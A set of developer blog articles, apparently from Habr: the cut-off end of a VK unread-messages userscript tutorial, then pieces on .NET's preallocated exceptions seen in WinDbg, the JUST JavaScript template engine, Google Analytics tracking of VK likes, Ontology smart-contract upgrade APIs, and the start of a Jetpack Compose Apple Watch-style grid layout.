Код, который приходит в качестве ответа на AJAX-запрос содержит экранированные кавычки (в частности, интересующий нас HTML-атрибут `read="0"` превращается в `read=\"0\"`). Поэтому, чтобы найти именно этот текст нам нужно искать его вместе со слэшами, для чего нам необходимо, по сути, «экранировать экранирование» :) Получаем `read=\\"0\\"`.
Ну и, наконец, нам нужно вызвать нашу функцию в нужный момент. После загрузки страницы мы выполняем её один раз и устанавливаем интервал повторения вызова (напомню, в нашем случае — 20 секунд):
```
$(document).ready(function()
{
CheckMail();
setInterval(function() { CheckMail() }, RefreshInterval);
});
```
Слишком часто обновлять страницу тоже не следует, даже если Вас не заботит моральная сторона вопроса (при слишком частом обновлении, Вы создаёте дополнительную нагрузку на сервер — своеобразную мини-[DoS-атаку](http://ru.wikipedia.org/wiki/DoS-атака)). При превышении определённого лимита слишком частых запросов, запросы от Вас просто временно заблокируют.
###### Полный код скрипта
```
// ==UserScript==
// @name DynamicVK
// @namespace vk.com/stryaponoff
// @description Makes VK dynamic
// @author stryaponoff
// @include *vk.com/*
// @include *vkontakte.ru/*
// @require http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js
// ==/UserScript==
var RefreshInterval = 20000;
function SubStrCount(source, string)
{
var pos = 0;
var count = 0;
var offset = 0;
var len = 0;
while ((offset = source.indexOf(string, offset + 1)) != -1)
{
if (len > 0 && (offset + string.length) > len) {
return false;
} else {
count++;
}
}
return count;
}
function CheckMail()
{
var mail_href = $('#l_msg a').attr('href');
$.get(mail_href, function(data)
{
var NewMessagesCount = SubStrCount(data, 'read=\\"0\\"');
if (NewMessagesCount != 0) {
$('#l_msg a').html('Мои Сообщения (**' + NewMessagesCount + '**)');
} else {
$('#l_msg a').html('Мои Сообщения');
}
});
}
$(document).ready(function()
{
CheckMail();
setInterval(function() { CheckMail() }, RefreshInterval);
});
```
###### Вариант скрипта без использования jQuery
(предпочтительный вариант, т.к. в нём исправлено множество ошибок)
```
// ==UserScript==
// @name DynamicVK
// @namespace vk.com/stryaponoff
// @description Makes VK dynamic
// @author stryaponoff
// @include *vk.com/*
// @include *vkontakte.ru/*
// ==/UserScript==
var RefreshInterval = 20000;
function CheckMail()
{
// Создаём экземпляр AJAX-запроса
var XmlHttp = new XMLHttpRequest();
// Обнуляем количество сообщений
var MsgCount = 0;
// Эта функция выполняется при смене состояния запроса
XmlHttp.onreadystatechange = function()
{
// Если запрос отправлен ...
if (XmlHttp.readyState == 4)
{
// И страница успешно загрузилась, то ...
if (XmlHttp.status == 200)
{
// Вычисляем количество непрочитанных сообщений
var RegEx = /messages{count=(.*?)}/;
MsgCount = RegEx.exec(XmlHttp.responseText)[1];
// Передаю пламенный привет верстальщикам вконтакта
// потому что вёрстка на разных страницах сайта разная
// и нам придётся получить нужный нам элемент на обеих
var sidebar;
if (document.getElementById('side_bar') == null)
{
sidebar = document.getElementById('sideBar');
} else {
sidebar = document.getElementById('side_bar');
}
for (i = 0; i < sidebar.getElementsByTagName('a').length; i++)
{
if (sidebar.getElementsByTagName('a')[i].href.indexOf('mail.php') != -1)
{
// Если кол-во сообщений не равно нулю, то ...
if (MsgCount != 0)
{
// Изменяем надпись на "Мои Сообщения (MsgCount)"
sidebar.getElementsByTagName('a')[i].innerHTML =
'Мои Сообщения (**' + MsgCount + '**)';
} else {
// Иначе изменяем на "Мои Сообщения"
sidebar.getElementsByTagName('a')[i].innerHTML = 'Мои Сообщения';
}
return;
}
}
}
}
}
//Отправляем запрос на сервер
XmlHttp.open('GET', '/feed.php', true);
XmlHttp.send('');
}
CheckMail();
setInterval(function() { CheckMail() }, RefreshInterval);
```
#### Использование
Для того, чтобы использовать скрипт в браузере, просто перетащите файл скрипта (*dynamicvk.user.js*) в окно браузера, должно появиться следующее окно:
[](https://habrastorage.org/storage/habraeffect/ce/33/ce33b5ba72fa05b1f9f843a6cfffc6d9.png "Хабрэффект.ру")
Всё, что от вас требуется — нажать *«Install»*. Можете начинать пользоваться :)
#### Заключение
Надеюсь, данный топик окажется полезным кому-нибудь, кроме меня. В принципе, аналогичным образом можно обновлять и стену, и приглашения в друзья и прочие страницы, я лишь описал принцип действия. Рад буду выслушать конструктивную критику и замечания по поводу данного поста, чтобы не повторять ошибок в следующих публикациях. Также я благодарю всех, кто поднял мою карму и сделал возможной публикацию этого поста. **Спасибо!**
Если у кого-то возникнут вопросы или проблемы — пишите, попробуем разобраться. Спасибо за внимание! | https://habr.com/ru/post/111092/ | null | ru | null |
# В каждом .net приложении резервируется память для трех исключений
На выходных заходил я к своему другу [new\_s](https://habrahabr.ru/users/new_s/) в гости и он показал мне интересную вещь. Ему по работе нужно было анализировать дамп памяти .net приложения, где он искал утечки памяти и другое аномальное поведение и показал мне, что при старте любого .net приложения окружение резервирует память для трех исключений:
`* ExecutionEngineException
* StackOverflowException
* OutOfMemoryException`
И это нормальное поведение. Почему?
Я решил провести эксперимент, и, загрузив Visual Studio, создал простейшее консольное приложение Hello world:
```
using System;
namespace HelloWorld
{
class Program
{
static void Main()
{
Console.Write("Hello world!");
Console.ReadKey();
}
}
}
```
Компиллируем это дело либо, можем скачать то же самое [тут](http://dl.dropbox.com/u/135608/HelloWorldApplication.zip).
Теперь скачаем [Debuggin Tools For Windows](http://msdn.microsoft.com/en-us/windows/hardware/gg463009.aspx). Нам нужна утилита `WinDbg`.
Открываем ее и добавляем символы (pdb файл): *File -> Symbol File Path* и указываем наш .pdb файл `HelloWorld.pdb`. Также необходимо, загрузить символы для других сборок, так что создайте темповую директорию и в окне `Symbol File Path` укажите что-то похожее на
`D:\WORK\Projects\Own\HelloWorld\HelloWorld\bin\Debug; SRV*D:\Temp\Symbols*http://msdl.microsoft.com/download/symbols`
Дальше запускаем наше приложение (если из Visual Studio, то не в Debug Mode) и в WinDbg присоеденяемся к процессу: *File->Attach to a Process*
Выполняем команду:
```
.loadby sos mscorwks
```
для того, чтобы загрузить `sos.dll` расширение и позволить дебажить управляемый код.
Сделаем dump памяти, выполнил следующую команду:
```
.dump /ma D:\Temp\HelloWorld.dmp
```
Можно остановить Debug: *Debug -> Stop Debuggin*
И открыть наш memory dump: *File -> Open Crash Damp* и выбрав наш `HelloWorld.dmp`
Отфильтруем дамп, чтобы увидеть исключения командой:
```
!dumpheap -type Exception
```
И что мы видим? Вот они наши исключения:
```
7093fd68 1 84 System.ExecutionEngineException
7093fd1c 1 84 System.StackOverflowException
7093fcd0 1 84 System.OutOfMemoryException
```
##### Выводы
Эти три исключения (`ExecutionEngineException, StackOverflowException и OutOfMemoryException`) специально созданы при старте приложения, чтобы охватить такую ситуацию, как например когда у вас уже кончилась память и ее не хватает даже на создание `OutOfMemory` исключения, так как это привело бы к еще одному OOM исключению. Точно также, если у вас уже переполнение стека, вы не можете создать `StackOverflowException`, так как для этого нужно было бы вызвать его конструктор, что является невозможным при уже переполненном стеке.
Так что если когда нибудь вам предстоит работать с дампом памяти .net приложений, не пугайтесь этих исключений, .net среда сама пробросит их, когда не будет хватать памяти либо буффер переполнен. | https://habr.com/ru/post/132656/ | null | ru | null |
# JUST — JavaScript шаблонизатор
Во время разработки своего [экспериментального WEB-проекта](http://chtodelat.com) на Node.JS, о котором я рассказал в двух [предыдущих](http://habrahabr.ru/blogs/nodejs/138071/) [статьях](http://habrahabr.ru/blogs/nodejs/138629/), я столкнулся с проблемой выбора шаблонизатора. Несмотря на то, что готовых решений существует довольно много, мне не удалось найти то, которое бы удовлетворяло меня на 100%. Так родился [JUST](https://github.com/baryshev/just).
#### Конкуренты
##### Jade
[github.com/visionmedia/jade](https://github.com/visionmedia/jade)
Этот шаблонизатор достаточно популярен среди Node.JS разработчиков. Он обладает хорошим функционалом и скоростью работы, но содержит и спорные моменты:
1. Отказ от использования тегов в том месте, для которого они, собственно, и были придуманы. С таким подходом я, мягко говоря, не согласен. Конечно, это очень субъективно, но вид разметки страницы без привычных тегов, взрывает мозг. Верстальщик, далёкий от новомодных технологий шаблонизации, не скажет спасибо, если ему придётся вносить изменения в такой код. Также потребуется дополнительная работа при перенесении вёрстки в шаблоны, что замедлит ход разработки.
2. Перегруженность функционалом. Любой разработчик старается сделать свой продукт максимально универсальным, но иногда нужно уметь вовремя остановиться. На мой взгляд, Jade уже перешёл эту грань.
##### EJS
[github.com/visionmedia/ejs](https://github.com/visionmedia/ejs)
Маленький, быстрый и довольно удобный шаблонизатор. Он прост и понятен, но, увы, для большого проекта его функционала вряд-ли будет достаточно. Из коробки он не умеет собирать страницу из частей, хотя это частично решается небольшими дополнениями, как например это сделано в [Express](http://expressjs.com/guide.html#view-partials). Но костыли — не наш метод.
##### TwigJS
[github.com/fadrizul/twigjs](https://github.com/fadrizul/twigjs)
Как можно догадаться из названия, это порт довольно популярного PHP-шаблонизатора на JavaScript. Этот шаблонизатор неплохо сбалансирован, но и его нельзя назвать идеальным. Для реализации логики разработчики добавили свой синтаксис, который должен облегчить разработку. Мне эта идея не кажется удачной, т.к. это увеличивает порог вхождения в разработку. Будь то PHP или JavaScript, верстальщику или программисту придётся тратить время на изучение ещё одного синтаксиса, вникать в его логику и следить за его изменениями. Момент очень спорный. Многие разработчики довольны таким синтаксическим сахаром. Я — нет.
#### Просто, быстро, удобно
Эти три качества легли в основу JUST. Шаблонизатор это она из важнейших деталей любого WEB-проекта. Если не считать полностью закешированные страницы — он работает при каждом запросе. Чтобы на любом этапе развития проекта работа с шаблонами приносила только радость, шаблонизатор изначально должен быть таким, чтобы его хотелось лизнуть.
#### JUST это
* HTML для разметки
* JavaScript для логики
* Кеширование шаблонов
* Автоматическая перезагрузка изменённых шаблонов (только для Node.JS версии)
* Очень простой синтаксис, но серьёзный функционал
* Наследование, инъекция, определение блоков
* Возможность работы как в Node.JS, так и в браузере
* Высокая скорость работы
#### Ближе к делу
Простой пример шаблонов JUST:
page.html
```
<%! layout %>
Page content
```
layout.html
```
<%= title %>
<%\*%>
```
Код, который сгенерирует из этих шаблонов и переданных данных конечный HTML, выглядит так:
```
var JUST = require('just');
var just = new JUST({ root : __dirname + '/view' });
just.render('page', { title: 'Hello, World!' }, function(error, html) {
console.log(error);
console.log(html);
});
```
Более полный пример можно найти в [репозитории на GutHub](https://github.com/baryshev/just/tree/master/examples).
На клиенте всё работает аналогично. Сначала необходимо подключить JUST к странице:
```
```
Теперь JUST можно использовать точно так же, как в Node.JS:
```
var just = new JUST({ root : '/view' });
just.render('page', { title: 'Hello, World!' }, function(error, html) {
console.log(error);
console.log(html);
});
```
Т.к. в клиентской версии загрузка шаблонов осуществляется при помощи AJAX, они должны находиться на том же домене, что и страница со скриптом.
В качестве root JUST может использовать JavaScript-объект. Иногда такая возможность может пригодиться.
```
var just = new JUST({
root : {
layout: '<%= title %><%\*%>',
page: '<%! layout %>Page content
'
}
});
```
#### Как оно работает
Шаблон разбирается на части простым алгоритмом и превращается в функцию, которая выполняет конкатенацию строк, а в качестве параметров принимает данные для формирования результата. Эта функция кешируется, и далее работа идёт только с ней. Повторный разбор происходит только при перезагрузке приложения или при изменении файла шаблона (если опция watchForChanges установлена в true). Такой подход позволяет получить отличную производительность. На «[Что делать?](http://chtodelat.com)» страницы с разбором шаблона генерируется 20-60мс. Без разбора шаблона (из закешированной функции) за 1-2мс. Учитывая то, что разбор происходит только 1 раз для каждого шаблона, а приложение живёт долго — временем разбора шаблона можно пренебречь.
Данные передаваемые шаблонизатору видны «насквозь» всем шаблонам участвующим в построении страницы. Это избавляет от необходимости передавать их вручную в родительские или дочерние шаблоны, однако возможность ручной передачи данных есть.
#### Что JUST умеет
##### Вывод данных
Вывод данных в шаблон осуществляется при помощи простой конструкции:
```
<%= varName %>
```
Данные вставляются в шаблон как есть, т.е. они не проходят никакую предварительную обработку в шаблонизаторе.
##### JavaScript логика
В шаблонах можно использовать полноценный JavaScript код. Например:
```
<% for (var i = 0; i < articles.length; i++) { %>
<% this.partial('article', { article: articles[i] }); %>
<% } %>
```
или
```
<% if (user.authenticated) { %>
<%@ partials/user %>
<% } else { %>
<%@ partials/auth %>
<% } %>
```
или
```
<%= new Date().toString() %>
```
##### Наследование шаблонов
Как показала практика, наследование это очень удобный инструмент, позволяющий строить страницу снизу вверх. Операция наследования в JUST выглядит следующим образом:
```
<%! layout %>
```
или
```
<% this.extend('layout', { customVar: 'Hello, World!' }); %>
```
если нужно передать в родительский шаблон дополнительные параметры. Операция наследования может находиться в любом месте шаблона, но удобнее её вставлять либо сверху либо снизу.
В родительском шаблоне на месте вставки дочернего нужно вставить такую конструкцию:
```
<%*%>
```
или
```
<% this.child(); %>
```
##### Инъекция шаблонов
Эта операция позволяет подключить внешний шаблон в место вызова, предав ему необходимые параметры, если это необходимо.
```
<%@ partial %>
```
или
```
<% this.partial('partial', { customVar: 'Hello, World!' }); %>
```
если нужно передать в подключаемый шаблон дополнительные параметры.
##### Переопределение блоков
Этот механизм чем-то похож на наследование. В родительских шаблонах, кроме места для вставки дочернего, можно объявлять места для вставки блоков. Содержимое этих блоков определяется в дочерних шаблонах. В отличии от наследования, переопределение блоков работает до самого верха, т.е. из любой шаблон может определить содержимое блока любого из своих родителей, а не только непосредственного. Для определения блока используется следующая конструкция:
```
<%[ blockName %>
This is block content
<%]%>
```
или
```
<% this.blockStart('blockName'); %>
This is block content
<% this.blockEnd(); %>
```
В любом из родительских шаблонов нужно определить место вставки для блока используя следующую конструкцию:
```
<%* blockName %>
```
или
```
<% this.child('blockName'); %>
```
Блоки можно переопределять. В результат попадает блок, определённый на самом нижнем уровне.
#### Чего в JUST нет и не будет
##### Фильтры данных
Почти во всех шаблонизаторах присутствуют наборы фильтров, которые позволяют производить манипуляции с данными на этапе генерации HTML. Например: экранирование тегов, приведение регистра символов, обрезание строк. Такой подход в корне не верный и этому функционалу тут не место.
В комментариях на этот счёт обязательно появятся возражения вроде: «Этот подход не соответствует MVC. Экранирование тегов относится только к представлению данных в виде HTML/XML, а мы можем захотеть вывести их в формате где экранирование не нужно, например — PDF. Поэтому этот функционал должен быть именно в шаблонизаторе».
Предотвращая споры по этому поводу, сразу отвечу на этот вопрос.
Шаблонизатор не является компонентом «V» модели MVC в чистом виде. Как частный случай он может им быть, но совершенно не обязан. Компонент «представление» может включать в себя как средство непосредственного построения ответа (шаблонизатор), так и средства подготовки данных для конкретного представления. На этом этапе данные можно подготовить и закешировать. Такой подход позволит не выполнять огромное количество лишних операций с данными. Учитывая, что строковые операции довольно медленные, пренебрегать этим нельзя. Если вам всё равно сколько раз выполнится замена строки, один или десять тысяч, то у меня для вас плохие новости.
##### Синтаксический сахар в логических выражениях
Ещё один модный тренд — изобретать свой собственный синтаксис шаблонов. Чаще всего это сводится к выпиливанию скобочек и т.п. уменьшению конструкций языка. Выигрыш от этого очень сомнительный. Разработчик должен знать ещё один синтаксис и надееться на то, что автор шаблонизатора в новой версии не сделает его «ещё удобнее», и его шаблоны продолжат работать после обновления. Нативный синтаксис языка знают все, кто причастен к разработке. Новый разработчик может сразу же влиться в дело, а не вникать в работу супер-удобного синтаксиса. Верстальщики, которым чаще всего нет особого дела до того, как там программисты режут их творения на куски, могут сами внести небольшие изменения в шаблоны и даже подправить логику, т.к. JavaScript они всё же знают по долгу службы.
#### Ложка дёгтя
Один неприятный момент в JUST всё же имеется. Если в шаблоне есть обращение к неопределённой переменной, то при его обработке возникнет ReferenceError при обращении к несуществующей переменной. Хочу немного сказать о причинах такого поведения и о том, почему не получилось это исправить.
Для обращения к переменным внутри шаблона я вижу три пути:1. Обращение к переменной через конструкцию %object%.%var%. Например, this.varName или data.varName. В таком случае при обращении к undefined значению ошибки не будет, и в шаблоне на этом месте появится пустая строка, но в итоге мы получим сильно разросшиеся шаблоны из-за префиксов переменных.
2. Автозамена прямого обращения к переменной на обращение через конструкцию %object%.%var%. Например, если в шаблоне есть конструкция <%= varName %>, при его разборе мы можем легко заменить её на this.varName, таким образом избавившиь от ошибки при неопределённой переменной. Но обращения к переменной могут быть не только в конструкции вывода данных, но и в логике. Например, обход массива в цикле или участие в условных операторах. Без дополнительного синтаксического анализа, в таких местах нет возможности заменять обращения к переменным автоматически.
3. Добавление объекта с данными шаблона в область видимости при помощи with. Поместив объект с данными в область видимости, мы можем обращаться к ним без префикса объекта, но платим за это ошибкой при обращении к неопределённой переменной.
На данный момент я не знаю как обойти эту ситуацию без дополнительного синтаксического анализа шаблона. Если кто-то видит красивое решение для данной проблемы — мне будет очень интересно о нём прочитать. Пока это нужно принять как особенность данного шаблонизатора. Хотя в каком-то смысле такой подход дисциплинирует и не даёт раскидываться неопределёнными переменными. | https://habr.com/ru/post/138939/ | null | ru | null |
# How to Write a Smart Contract with Python on Ontology? Part 5: Native API
In the previous Python tutorial posts, I have introduced the Ontology Smart Contract in
[Part 1: Blockchain & Block API](https://habr.com/ru/post/468821/) and
[Part 2: Storage API](https://habr.com/ru/post/470720/)
[Part 3: Runtime API](https://habr.com/ru/post/470722/)
[Part 4: Native API](https://habr.com/ru/post/471358/) and described how to use smart contracts for ONT / ONG transfer.
Today we will talk about how to use **Upgrade API** to upgrade smart contract. There are 2 APIs: **Destroy** and **Migrate**.
They are used as follows:
Now let’s go into more detail about how to use these 2 APIs. Before that, you can create a new contract in the Ontology smart contract development tool [SmartX](https://smartx.ont.io/#/) and follow the instructions below. As usual, at the end of the article, I will attach the link to the source code.
How to Use Upgrade API
----------------------
As usual, you need to import the 2 functions as follows before using them.
```
from ontology.interop.Ontology.Contract import Migrate
from ontology.interop.System.Contract import Destroy
```
### Destroy API
Destroy API is used for destroying and deleting a smart contract on the chain. Below is a code sample of the API.
```
from ontology.interop.System.Contract import Destroy
from ontology.interop.System.Runtime import Notify
def Main(operation, args):
if operation == "destroy_contract":
return destroy_contract()
return False
def destroy_contract():
Destroy()
Notify(["The contract has been destoryed"])
return True
```
### Migrate API
The Migrate API is used for migrating smart contracts. The existing contract will be replaced by the newly migrated contract. The data saved by the old contract will also be migrated to the new contract. The old contract will be deleted after migration.
> Please note that the assets in the smart contract will not be migrated automatically so you need to transfer them out in advance. Otherwise, you will not be able to retrieve your assets.
The parameter list of the Migrate function is as follows:
See below the code sample of the Migrate function:
```
from ontology.interop.Ontology.Contract import Migrate
from ontology.interop.System.Runtime import Notify
from ontology.libont import AddressFromVmCode
def Main(operation, args):
if operation == "migrate_contract":
if len(args) != 7:
return False
avm_code = args[0]
need_storage = args[1]
name = args[2]
version = args[3]
author = args[4]
email = args[5]
description = args[6]
return migrate_contract(avm_code, need_storage, name, version, author, email, description)
return False
def migrate_contract(avm_code, need_storage, name, version, author, email, description):
res = Migrate(avm_code, need_storage, name, version, author, email, description)
if res:
Notify(["Migrate successfully"])
new_contract_hash=AddressFromVmCode(avm_code)
Notify(new_contract_hash)
return True
else:
return False
```
You can follow the steps below to see the execution result of the code sample on SmartX :
**1.** Copy and paste the above code to SmartX and compile before putting in the parameters. Pay special attention to two issues when inputting parameters:
* Make sure avm\_code does not exist on the chain, otherwise an error will be returned;
* Migrate requires a high gas limit, so you need to adjust the gas limit when running the function.
**2.** After deployment, you can get the new contract hash from the dashboard. In this example, the new contract hash is be4606c4663081b70f745ed9fc64d4c3b0d9c183.
Summary
-------
In this article, we introduced the Upgrade API of the Ontology blockchain. Developers can use this API to upgrade smart contracts. Destroy API is used for destroying smart contracts on the chain and Migrate API is for migrating smart contracts. In the next article, we will introduce the Static & Dynamic API to explore how to implement the static and dynamic call of Ontology smart contracts with Python.
Find the tutorial on GitHub [here](https://github.com/punicasuite/tutorials/blob/master/smart-contracts-docs-cn/course09_upgrade_a_smart_contract.md).
Are you a developer? Make sure you have joined our tech community on [Discord](https://discord.gg/pQRHtbD). Also, take a look at the [Developer Center](https://developer.ont.io) on our website, there you can find developer tools, documentation, and more.
---
#### Find Ontology elsewhere
[Ontology website](https://ont.io/)
[GitHub](https://github.com/ontio/) / [Discord](https://discord.gg/pQRHtbD)
Telegram [English](https://t.me/OntologyNetwork) / [Russian](https://t.me/OntologyAnnouncementsRu)
[Twitter](https://twitter.com/OntologyNetwork) / [Reddit](https://www.reddit.com/r/OntologyNetwork/) | https://habr.com/ru/post/474970/ | null | en | null |
# Reveal для всех!
Здравствуйте, **Хабровчане** !
Я расскажу как я реализовал Circual Reveal анимацию из Lollipop, опустив порог до Gingerbread.
В Lollipop появились нативные классы HardwareCanvas, RenderNodeAnimator для более плавной анимации и отрисовки, на нем построена Ripple и Reveal анимация. Теперь многие элементы рисуются и анимируются на уровне железа.
#### Родная анимация
```
public static Animator createCircularReveal(View view,
int centerX, int centerY, float startRadius, float endRadius) {
return new RevealAnimator(view, centerX, centerY, startRadius, endRadius);
}
```
Как описанно в документации, RevealAnimator — это анимированная обрезка круга. Он в свою очередь произошел от RenderNodeAnimator и вызывает нативный метод.
```
private static native long nCreateRevealAnimator(
int x, int y, float startRadius, float endRadius);
```
Там уже и идет обрезка круга, через:
```
RevealAnimator::RevealAnimator(int centerX, int centerY,
float startValue, float finalValue)
: BaseRenderNodeAnimator(finalValue)
, mCenterX(centerX)
, mCenterY(centerY) {
setStartValue(startValue);
}
float RevealAnimator::getValue(RenderNode* target) const {
return target->properties().getRevealClip().getRadius();
}
// здесь и происходит обрезка
void RevealAnimator::setValue(RenderNode* target, float value) {
target->animatorProperties().mutableRevealClip().set(true,
mCenterX, mCenterY, value);
}
```
#### Решение
Мое решение относительно простое: я создал свои кастомные Layout'ы (Frame | Linear, оригинальные, почти нетронутые), изменив всего лишь метод, где рисуются дети
```
@Override
protected boolean drawChild(@NonNull Canvas canvas, @NonNull View child, long drawingTime) {
if(!mClipOutlines && child != mTarget)
return super.drawChild(canvas, child, drawingTime);
final int state = canvas.save();
mRevealPath.reset();
mRevealPath.addCircle(mCenterX, mCenterY, mRadius, Path.Direction.CW);
canvas.clipPath(mRevealPath);
boolean isInvalidated = super.drawChild(canvas, child, drawingTime);
canvas.restoreToCount(state);
return isInvalidated;
}
```
Я лишь прошу canvas обрезать определненную область во время анимации. Анимация реализуется через ObjectAnimator (thanks to Jake Wharton, nineoldsandroid).
Статья получилась немного скомканной, если есть вопросы пишите в комментарии, дополню статью :)
Спасибо за внимание!
[Github](https://github.com/03uk/CircularReveal) | https://habr.com/ru/post/243541/ | null | ru | null |
# Учим Google Analytics считать лайки из Вконтакте
Всем привет!
В этой статье я расскажу, как с помощью Google Analytics отслеживать лайки на вашем сайте и покажу, как это делать с кнопкой “Мне нравится” из Вконтакте.
7 июля этого года Google [добавил](http://analytics.blogspot.com/2011/07/social-plugin-tracking-in-google.html) в Analytics возможность отслеживать число лайков, анлайков и всяких прочих ретвитов. Весьма логичное действие, учитывая популярность этих кнопок и запуск +1. Данная функция получила название Social Plugin.
К сожалению, чтобы заставить все это работать, недостаточно просто копипастнуть пару строк из документации в код вашего сайта, нужно ещё и разбираться с API кнопочек каждой из социальных сетей. На этом зачастую вся радость от новости и заканчивалась.
К чести Google надо отметить, что они сделали целый отдельный [сайт](http://analytics-api-samples.googlecode.com/svn/trunk/src/tracking/javascript/v5/social/facebook_js_async.html) с примерами того, как интегрировать Social Plugin с наиболее популярными на Западе сетями — Facebook и Google. Ниже я расскажу, как интегрировать его ещё и с Вконтакте.
Начнем с описания того, как работает Social Plugin. Для того чтобы подключить эту возможность на своем сайте нужно воспользоваться функцией \_trackSocial, вызов которой выглядит следующим образом:
`\_gaq.push(['\_trackSocial', имя социальной сети, действие, URL (необ-но), page path (необ-но)]);`
Параметр *URL* не обязателен, если его пропустить, Google Analytics сам подставит вместо него текущий адрес страницы. Этот параметр нужен в том случае, если вы хотите видеть в отчете какой-то другой адрес страницы или вообще другую информацию.
Например, у вас на сайте есть одна и та же статья доступная под двумя URL (напр. [mypics.iss/news/01-12-2028/1](http://mypics.iss/news/01-12-2028/1) и [mypics.iss/articles/grandma\_in\_space](http://mypics.iss/articles/grandma_in_space)), то при нажатии like, значения будут распределяться по двум разным URL, хотя по факту это одна и та же страница. Чтобы исправить это недоразумение в параметр URL надо писать, например
`\_gaq.push(['\_trackSocial', 'facebook', 'like', 'http://mypics.iss/articles/grandma\_in\_space']);`
Кстати говоря, данная строка не обязательно должна быть ссылкой, можно написать и так:
`\_gaq.push(['\_trackSocial', 'facebook', 'like', 'grandma\_on\_ISS']);`
В параметр *page path* по умолчанию пишется относительный адрес страницы (в нашем случае это `/articles/grandma\_in\_space`) и его тоже писать не обязательно.
Теперь, когда понятно, как это работает, можно переходить к интеграции с социальными сетями. Social Plugin по умолчанию отслеживает только Google+ и то только, если у вас не задано имя счетчика.
Рассмотрим, как настроить интеграцию на примере Вконтакта. Во-первых, нам надо пойти на [страничку Вконтакта для разработчиков](http://vkontakte.ru/pages.php?o=-1&p=%C4%EE%EA%F3%EC%E5%ED%F2%E0%F6%E8%FF%20%EA%20%E2%E8%E4%E6%E5%F2%F3%20%CC%ED%E5%20%ED%F0%E0%E2%E8%F2%F1%FF) и узнать, как вообще взаимодействовать с их кнопкой.
Видим, что если у вас на странице установлена кнопка “Мне нравится”, то становится доступен объект VK.Observer, в котором можно подписаться на события *widgets.like.liked* и *widgets.like.unliked*.
Принципиальных отличий от фейсбука нет, поэтому пишем по образу и подобию примера от Google:
```
_ga.trackVkontakte = function(opt_pageUrl, opt_trackerName, opt_targetUrl) {
var trackerName = _ga.buildTrackerName_(opt_trackerName);
try {
if (VK && VK.Observer && VK.Observer.subscribe) {
VK.Observer.subscribe('widgets.like.liked', function() {
_gaq.push([trackerName + '_trackSocial', 'vkontakte', 'like',
opt_targetUrl, opt_pageUrl]);
});
VK.Observer.subscribe('widgets.like.unliked', function() {
_gaq.push([trackerName + '_trackSocial', 'vkontakte', 'unlike',
opt_targetUrl, opt_pageUrl]);
});
}
} catch (e) {}
};
```
Обратите внимание, я использую переменную *\_ga* из гугловского примера, поэтому чтобы этот код работал надо его добавить, например, в конец гугловского файла.
Собственно, вот и всё. Теперь достаточно поместить этот код где-нибудь в head, а после инициализации кнопки “мне нравится” добавить вызов
```
_ga.trackVkontakte();
```
В результате в отчетах появятся следующие строчки (доступно только в новом интерфейсе):
[](http://habrastorage.org/storage1/a9ae9d8b/96e953cc/86620da7/50c6fb74.png) | https://habr.com/ru/post/129333/ | null | ru | null |
# Jetpack Compose: реализация меню Apple Watch
Мне очень нравится меню Apple watch: плавность анимации, поведение иконок при перемещении, расположение элементов по необычной сетке. Я захотел повторить это меню на Android. Но делать это на старом подходе с помощью ViewGroup или кастомного Layout Manager для RecyclerView не очень хотелось: слишком уж затратно для работы «в стол».
С появлением Compose идея стала более привлекательной и интересной для реализации. Большой плюс при работе с Сompose — разработчик сосредоточен на бизнес-логике задачи. Ему не нужно искать в недрах исходников и документации ViewGroup информацию, где лучше расположить логику: в onMeasure или в onLayout, и надо ли переопределять метод onInterceptTouchEvent.
Давайте вместе разберёмся, как создать собственный ViewGroup на Jetpack Compose.
Что нужно для создания такого Layout:
1. Создать контейнер для отображения сетки элементов.
2. Обработать drag-жест для правильного смещения контента.
3. Реализовать OverScroll и анимацию для него.
4. Реализовать Scale-анимацию, близкую к меню Apple watch.
5. Сделать механизм, чтобы Layout умел переживать поворот экрана.
### Шаг первый: создадим контейнер и разместим в нём элементы по сетке
Для создания кастомных контейнеров в Compose используется [Layout](https://developer.android.com/reference/kotlin/androidx/compose/ui/layout/package-summary#Layout(kotlin.Function0,androidx.compose.ui.Modifier,androidx.compose.ui.layout.MeasurePolicy)), лежащий в основе всех контейнеров в Jetpack Compose. Если провести аналогию, то Layout — это [ViewGroup](https://developer.android.com/reference/android/view/ViewGroup) из привычной нам Android view-системы.
Напишем базовую Composable-функцию:
```
//1
@Composable
fun WatchGridLayout(
modifier: Modifier = Modifier,
rowItemsCount: Int,
itemSize: Dp,
content: @Composable () -> Unit,
) {
//2
check(rowItemsCount > 0) { "rowItemsCount must be positive" }
check(itemSize > 0.dp) { "itemSize must be positive" }
val itemSizePx = with(LocalDensity.current) { itemSize.roundToPx() }
val itemConstraints = Constraints.fixed(width = itemSizePx, height = itemSizePx)
//3
Layout(
modifier = modifier.clipToBounds(),
content = content
) { measurables, layoutConstraints ->
//4
val placeables = measurables.map { measurable -> measurable.measure(itemConstraints) }
//5
val cells = placeables.mapIndexed { index, _ ->
val x = index % rowItemsCount
val y = (index - x) / rowItemsCount
Cell(x, y)
}
//6
layout(layoutConstraints.maxWidth, layoutConstraints.maxHeight) {
placeables.forEachIndexed { index, placeable ->
placeable.place(
x = cells[index].x * itemSizePx,
y = cells[index].y * itemSizePx
)
}
}
}
}
```
1. Напишем функцию, пометим её [**@Composable**](https://developer.android.com/reference/kotlin/androidx/compose/runtime/Composable)**-**аннотацией и определим необходимые параметры.
* **modifier** — один из важнейших атрибутов вёрстки на Compose. Нужен для определения размера контейнера, фона и так далее.
* **rowItemsCount** — количество элементов в ряду сетки.
* **itemSize** — размер элемента. Каждый элемент будет иметь одинаковую ширину и высоту.
* **content** — composable-лямбда, которая будет предоставлять элементы для отображения.
2. Сделаем пару проверок, чтобы в контейнере использовались только валидные значения. Также для дальнейшей работы надо перевести itemSize в пиксели. А значение в пикселях перевести в Constraints — объект для передачи желаемых размеров в контейнер. Мы точно знаем, какого размера будет каждый элемент, поэтому будем использовать **Constraints.fixed(...)**
3. Переходим к важной части: Layout. Он принимает три ключевых параметра:
* **modifier** — в него передадим modifier, который принимает как параметр **WatchGridLayout**. К нему необходимо добавить ещё **clipToBounds()**. Это важно, если контейнер будет использоваться внутри другого контейнера, — например [Box](https://developer.android.com/reference/kotlin/androidx/compose/foundation/layout/package-summary#Box(androidx.compose.ui.Modifier)). Тогда элементы контейнера будут рендериться за его пределами.
* **content** — передаём сюда параметр, который передали в **WatchGridLayout**.
